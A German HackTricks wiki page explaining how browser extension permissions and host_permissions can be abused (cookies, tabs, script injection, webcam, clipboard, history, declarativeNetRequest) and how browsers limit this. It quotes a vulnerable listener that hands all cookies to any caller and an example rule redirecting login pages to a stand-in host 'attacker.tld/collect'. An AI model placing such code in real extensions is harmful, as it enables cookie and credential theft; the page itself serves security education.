BrowExt - permissions & host_permissions

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

permissions

Permissions werden in der Erweiterung in der Datei manifest.json über die Eigenschaft permissions definiert und erlauben den Zugriff auf nahezu alles, worauf ein Browser zugreifen kann (Cookies oder physischer Speicher):

Das vorherige Manifest gibt an, dass die Erweiterung die Berechtigung storage benötigt. Das bedeutet, dass sie the storage API verwenden kann, um ihre Daten dauerhaft zu speichern. Im Gegensatz zu Cookies oder den localStorage-APIs, die den Nutzern ein gewisses Maß an Kontrolle geben, kann der Speicher einer Erweiterung normalerweise nur durch Deinstallation der Erweiterung gelöscht werden.

Eine Erweiterung beantragt die in ihrer manifest.json Datei angegebenen Berechtigungen. Nach der Installation der Erweiterung können Sie ihre Berechtigungen jederzeit in Ihrem Browser prüfen, wie in diesem Bild gezeigt:

Sie finden die complete list of permissions a Chromium Browser Extension can request here und eine complete list for Firefox extensions here.

host_permissions

Die optionale, aber mächtige Einstellung host_permissions gibt an, mit welchen Hosts die Erweiterung über APIs wie cookies, webRequest, und tabs interagieren kann.

Die folgenden host_permissions erlauben im Grunde Zugriff auf alle Websites:

"host_permissions": [
"*://*/*"
]

// Or:
"host_permissions": [
"http://*/*",
"https://*/*"
]

// Or:
"host_permissions": [
"<all_urls>"
]

Dies sind die Hosts, auf die die Browser-Erweiterung frei zugreifen kann. Das liegt daran, dass eine Browser-Erweiterung beim Aufruf von fetch("https://gmail.com/") nicht durch CORS eingeschränkt wird.

Missbrauch von permissions und host_permissions

Cookies

Die Berechtigung cookies erlaubt der Erweiterung den Zugriff auf alle Cookies des Browsers. In diesem Blogpost wurde diese Berechtigung über ein verletzliches Background-Skript ausgenutzt, um einer Browser-Erweiterung zu ermöglichen, dem Angreifer alle Cookies des Browsers des Opfers zu übermitteln, das die bösartige Webseite aufgerufen hat. Der verwundbare Code schickte einfach alle Cookies zurück:

chrome.runtime.onMessage.addListener(
function(request, sender, sendResponse) {
if (request.action == "getCookies") {
chrome.cookies.getAll({}, function(cookies) {
sendResponse({data: cookies});
});
}
return true;
}
);

Tabs

Außerdem schalten host_permissions auch „erweiterte“ tabs API Funktionalität frei. Sie erlauben der Extension, tabs.query() aufzurufen und nicht nur eine Liste der Browser-Tabs des Nutzers zurückzubekommen, sondern auch herauszufinden, welche Webseite (also Adresse und Titel) geladen ist.

Caution

Nicht nur das, Listener wie tabs.onUpdated werden dadurch ebenfalls deutlich nützlicher. Diese werden benachrichtigt, sobald eine neue Seite in einen Tab geladen wird.

Running content scripts

Content-Skripte müssen nicht notwendigerweise statisch im Extension-Manifest stehen. Bei ausreichenden host_permissions können Extensions sie auch dynamisch laden, indem sie tabs.executeScript() oder scripting.executeScript() aufrufen.

Beide APIs erlauben nicht nur das Ausführen von Dateien, die als Content-Skripte in der Extension enthalten sind, sondern auch von beliebigem Code. Erstere erlaubt, JavaScript-Code als String zu übergeben, während letztere eine JavaScript-Funktion erwartet, die weniger anfällig für Injection-Schwachstellen ist. Trotzdem können beide APIs großen Schaden anrichten, wenn sie missbraucht werden.

Caution

Zusätzlich zu den obigen Möglichkeiten können Content-Skripte z. B. Zugangsdaten abfangen, während diese in Webseiten eingegeben werden. Eine weitere klassische Missbrauchsart ist das Einfügen von Werbung auf jeder einzelnen Website. Auch das Hinzufügen von Betrugsnachrichten zur Untergrabung der Glaubwürdigkeit von Nachrichtenwebsites ist möglich. Schließlich könnten sie Banking-Websites manipulieren, um Überweisungen umzuleiten.

Implicit privileges

Einige Extension-Privilegien müssen nicht explizit deklariert werden. Ein Beispiel ist die tabs API: deren Basisfunktionen sind ohne jegliche Berechtigungen zugänglich. Jede Extension kann benachrichtigt werden, wenn Sie Tabs öffnen oder schließen; sie weiß nur nicht, zu welchen Websites diese Tabs gehören.

Klingt zu harmlos? Die tabs.create() API ist es weniger. Sie kann verwendet werden, um einen neuen Tab zu erstellen, im Grunde dasselbe wie window.open(), das von jeder Website aufgerufen werden kann. Während window.open() jedoch dem Pop-up-Blocker unterliegt, ist tabs.create() es nicht.

Caution

Eine Extension kann jederzeit beliebig viele Tabs erstellen.

Wenn man die möglichen tabs.create()-Parameter betrachtet, fällt außerdem auf, dass deren Möglichkeiten weit über das hinausgehen, was window.open() steuern darf. Und während Firefox die Verwendung von data:-URIs mit dieser API nicht zulässt, hat Chrome keinen solchen Schutz. Die Verwendung solcher URIs auf hoher Ebene wurde aufgrund ihres Missbrauchs für Phishing verboten.

tabs.update() ist tabs.create() sehr ähnlich, wird aber einen bestehenden Tab verändern. Eine bösartige Extension kann zum Beispiel beliebig eine Werbeseite in einen Ihrer Tabs laden und den entsprechenden Tab auch aktivieren.

Webcam, geolocation and friends

Sie wissen wahrscheinlich, dass Websites spezielle Berechtigungen anfragen können, z. B. um auf Ihre Webcam (Video-Conferencing-Tools) oder Ihren geografischen Standort (Maps) zuzugreifen. Das sind Funktionen mit beträchtlichem Missbrauchspotenzial, daher müssen Nutzer jedes Mal bestätigen, dass sie das weiterhin zulassen möchten.

Caution

Nicht so bei Browser-Erweiterungen. Wenn eine Browser-Erweiterung wants access to your webcam or microphone, it only needs to ask for permission once

Typischerweise geschieht das unmittelbar nach der Installation der Extension. Sobald diese Abfrage akzeptiert wurde, ist Webcam-Zugriff jederzeit möglich, selbst wenn der Nutzer gerade nicht mit der Extension interagiert. Ja, ein Nutzer wird diese Abfrage nur akzeptieren, wenn die Extension wirklich Webcam-Zugriff benötigt. Aber danach muss er der Extension vertrauen, dass sie nichts heimlich aufzeichnet.

Bei Zugriff auf your exact geographical location oder contents of your clipboard ist eine ausdrückliche Erlaubnisgeste überhaupt nicht notwendig. Eine Extension fügt einfach geolocation oder clipboard zum permissions entry ihres Manifests hinzu. Diese Zugriffsrechte werden dann implizit bei der Installation der Extension gewährt. Eine bösartige oder kompromittierte Extension mit diesen Rechten kann also Ihr Bewegungsprofil erstellen oder Ihre Zwischenablage nach kopierten Passwörtern überwachen, ohne dass Sie etwas bemerken.

Das Hinzufügen des history-Schlüsselworts zum permissions entry des Extension-Manifests gewährt Zugriff auf die history API. Dadurch lässt sich der gesamte Browserverlauf des Nutzers auf einmal abrufen, ohne darauf warten zu müssen, dass der Nutzer diese Websites erneut besucht.

Die bookmarks-Berechtigung hat ein ähnliches Missbrauchspotenzial; sie erlaubt das Auslesen aller Lesezeichen über die bookmarks API.

Storage permission

Der Extension-Storage ist lediglich eine Key-Value-Sammlung, sehr ähnlich zu localStorage, die jede Website verwenden könnte. Daher sollten hier keine sensiblen Informationen gespeichert werden.

Werbefirmen könnten diesen Speicher jedoch ebenfalls missbrauchen.

More permissions

Manifest V3 hat den Page-Zugriff von API-Berechtigungen getrennt: permissions steuert weiterhin privilegierte APIs (cookies, tabs, history, scripting, etc.), während host_permissions kontrolliert, auf welche Origins diese APIs zugreifen können. MV3 machte Host-Berechtigungen außerdem zur Laufzeit gewährbar, so dass Extensions ohne sie ausgeliefert werden und später per chrome.permissions.request() eine Zustimmungsabfrage anzeigen können — praktisch für legitime Least-Privilege-Flows, aber auch von Malware missbrauchbar, um nach Etablierung von Reputation aufzuwerten.

Eine heimliche Variante ist declarativeNetRequestWithHostAccess (Chrome ≥96). Sie bietet dieselbe Request‑Blocking/Redirect‑Power wie declarativeNetRequest, zeigt aber eine schwächere Installationsabfrage als <all_urls> Host-Berechtigungen. Bösartige Extensions nutzen sie, um stillschweigend die Fähigkeit „auf jeder Seite blockieren/weiterleiten“ zu erhalten; prüfen Sie die Prompts mit chrome://extensions/?errors und chrome://extensions/?id=<id>.

declarativeNetRequest-dynamische Regeln erlauben einer Extension, die Netzwerkpolitik zur Laufzeit neu zu programmieren. Mit <all_urls> Host-Zugriff kann ein Angreifer sie dazu missbrauchen, Traffic zu kapern oder Daten zu exfiltrieren. Beispiel:

chrome.declarativeNetRequest.updateDynamicRules({
addRules: [{
id: 9001,
priority: 1,
action: {
type: "redirect",
redirect: { url: "https://attacker.tld/collect" }
},
condition: { urlFilter: "|http*://*/login", resourceTypes: ["main_frame"] }
}]
});

Chrome hat die MV3-Regellimits erhöht (≈330k static / 30k dynamic), sodass große Coverage-Sets für interception/ads injection realisierbar sind.

Aktuelle Missbrauchsmuster

  • Trojanisierte Supply-Chain-Updates: Gestohlene Entwicklerkonten pushen MV3-Updates, die <all_urls> plus declarativeNetRequest/scripting/webRequest hinzufügen, um remote JS zu injizieren und Header/DOM-Inhalte abzuzapfen.
  • Wallet-Diebstahl: Host-Zugriff zusammen mit storage und tabs erlaubt es hintertürten Wallet-Extensions, Seeds zu exfiltrieren; gestohlene Web Store API keys wurden verwendet, um bösartige Builds auszuliefern.
  • Cookie-Diebstahl: Jede Extension mit cookies + weitreichendem Host-Zugriff kann Auth-Cookies trotz HttpOnly auslesen — diese Kombination als zur Credentials-Exfiltration fähig behandeln.

Prävention

Die Richtlinie von Google’s developer verbietet Extensions ausdrücklich, mehr Privilegien anzufordern, als für ihre Funktionalität nötig sind, und mindert damit effektiv übermäßige Permission-Anfragen. Ein Fall, in dem eine Browser-Extension diese Grenze überschritt, betraf ihre Auslieferung zusammen mit dem Browser selbst statt über einen Add-on-Store.

Browser könnten den Missbrauch von Extension-Privilegien weiter eindämmen. Beispielsweise sind Chromes tabCapture und desktopCapture APIs, die für screen recording verwendet werden, darauf ausgelegt, Missbrauch zu minimieren. Die tabCapture API kann nur durch direkte Benutzerinteraktion aktiviert werden, z. B. durch Klicken auf das Extension-Icon, während desktopCapture eine Benutzerbestätigung erfordert, damit das Fenster aufgezeichnet wird — beides verhindert verdeckte Aufnahmeaktivitäten.

Allerdings führt eine Verschärfung der Sicherheitsmaßnahmen häufig zu weniger Flexibilität und Nutzerfreundlichkeit bei Extensions. Die activeTab permission veranschaulicht dieses Trade-off. Sie wurde eingeführt, um zu vermeiden, dass Extensions Host-Privilegien für das gesamte Internet anfordern müssen, und erlaubt Extensions nur Zugriff auf den aktuellen Tab nach expliziter Aktivierung durch den Nutzer. Dieses Modell ist effektiv für Extensions, die benutzerinitiierte Aktionen benötigen, stößt jedoch an seine Grenzen bei solchen, die automatische oder vorauseilende Aktionen ausführen müssen — wodurch Komfort und sofortige Reaktionsfähigkeit verloren gehen.

References

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks